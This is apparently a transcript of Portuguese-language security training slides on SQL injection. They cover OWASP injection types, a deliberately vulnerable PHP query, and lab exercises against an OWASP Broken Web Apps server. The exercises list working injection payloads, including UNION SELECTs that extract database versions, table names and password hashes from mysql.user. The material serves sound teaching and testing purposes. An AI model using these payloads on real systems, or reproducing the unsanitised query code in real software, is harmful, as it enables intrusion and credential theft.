a1 - sql injection na prática parte 01
TRANSCRIPT
A1 – SQL Injection na Prática!
COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
Exemplos Reais
Sumário
Tipos de Injeção
SQL Injection
O que é SQL Injection?
Quais são as implicações?
Exemplo Cracker
Servidor OWASP
Exercícios 01
Código Fonte
Exercícios 02
Referências OWASP
COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
A1 – Tipos de Injeção
https://www.owasp.org/index.php/Interpreter_Injection
A1 – Tipos de Injeção
Injeção de LDAP: é uma técnica usada para explorar
sites da Web que constroem expressões LDAP de uma
entrada fornecida pelo usuário (WASC-29).
Comandos de SO: técnica para explorar sites da Web
através da execução de comandos de sistema
operacional em campos de entrada (WASC-31).
Injeção XPath: é uma técnica usada para explorar
sites que constroem consultas Xpath (linguagem para
endereçar elementos de documentos XML) a partir de
entradas fornecidas pelo usuário (WASC -39).
https://www.owasp.org/index.php/XPATH_Injection
WordPress - Vulnerability Statistics
SQL Injetion
O que é?
SQL (Structured Query Language) é uma linguagem de programação para a consulta de
bancos de dados.
Um invasor fornece dados maliciosos para o seu aplicativo e os dados são concatenados
para consultar um banco de dados (BD).
Quais são as implicações?
Vazamento de informações através de mensagens de erro do BD.
Dados extraídos de seu banco de dados .
Controle completo do seu banco de dados (inserir dados, apagar tabelas, e assim por
diante).
Executar comandos em seu sistema.
Comprometimento completo do sistema.
Exemplo cracker – www.exploit-db.com
Banco de Vulnerabilidades
• Common Vulnerabilities and Exposures (CVE) fornece uma referência de
método para conhecimento ao público, expoem as informações de
segurança, e as vulnerabilidades.
http://cve.mitre.org/about/terminology.html
Servidor OWASP
• Digite no Web Browser o ip que nosso Servidor forneceu.
http://code.google.com/p/owaspbwa/wiki/Downloads
Selecione a Aplicação WordPress
Exploração da Vulnerabilidade
Exercícios 01
Entrar no site http://www.exploit-db.com
Entrar no menu “search”
Pesquisa pela “Description”, o nome do plugin “Spreadsheet ”.
Selecione a vulnerabilidade “Wordpress Plugin Spreadsheet <= 0.6
SQL Injection Vulnerability ”
Aplique o exemplo dado no WordPress, armazenado em nosso
Servidor de Aplicações Vulneráveis.
Outros Bancos de Vulnerabilidades
http://www.securityfocus.com/
http://www.osvdb.org/
http://www.cvedetails.com/top-50-products.php
SQL Injection Abaixo a aplicação pesquisa o Usuário pelo ID.
ID = 1 / First name: admin / Surname: admin
Ao inserimos o Apostrofo (‘), no campo de
consulta, gerou um erro de banco de dados.
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server
version for the right syntax to use near ''''' at line 1
Código Fonte <?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
O Apostrofo está fechando a consulta SQL e formando
outra, como não há um filtro na Aplicação, o caracteres
interferiu diretamente no código gerando o Erro.
"SELECT first_name, last_name FROM users WHERE user_id = '$id''";
SQL INJECTION
SELECT first_name, last_name FROM users WHERE user_id = '$id' or ' 1 ' = ' 1';
Exercícios 02
Escreva os comandos e analise os resultados. ' or ' 1 ' = ' 1
' or 1=1—
' union SELECT @@version'
' union SELECT @@version, null '
' union SELECT database(), null '
1' UNION ALL SELECT user, password FROM mysql.user; -- priv;#'“
a' UNION ALL SELECT system_user(),user();#'”
a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'”
' union select user, password from users; -- priv;#'“
' union select user, password from users; -- '
Password’s usam o criptografia
MD5
Referências OWASP OWASP SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java
OWASP Injection Flaws Article
https://www.owasp.org/index.php/Command_Injection
OWASP Testing Guide: Chapter on SQL Injection Testing
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29
OWASP Code Review Guide: Command Injection
https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection
LDAP Injection
https://www.owasp.org/index.php/LDAP_injection
XML Injection
https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29
XPATH Injection
https://www.owasp.org/index.php/XPATH_Injection
Log Injection
https://www.owasp.org/index.php/Log_injection
Referências Externas:
CWE Entry 77 on Command Injection
http://cwe.mitre.org/data/definitions/77.html
CWE Entry 89 on SQL Injection
http://cwe.mitre.org/data/definitions/89.html
XSLT Injection
http://www.acunetix.com/blog/web-security-zone/articles/the-
hidden-dangers-of-xsltprocessor-remote-xsl-injection/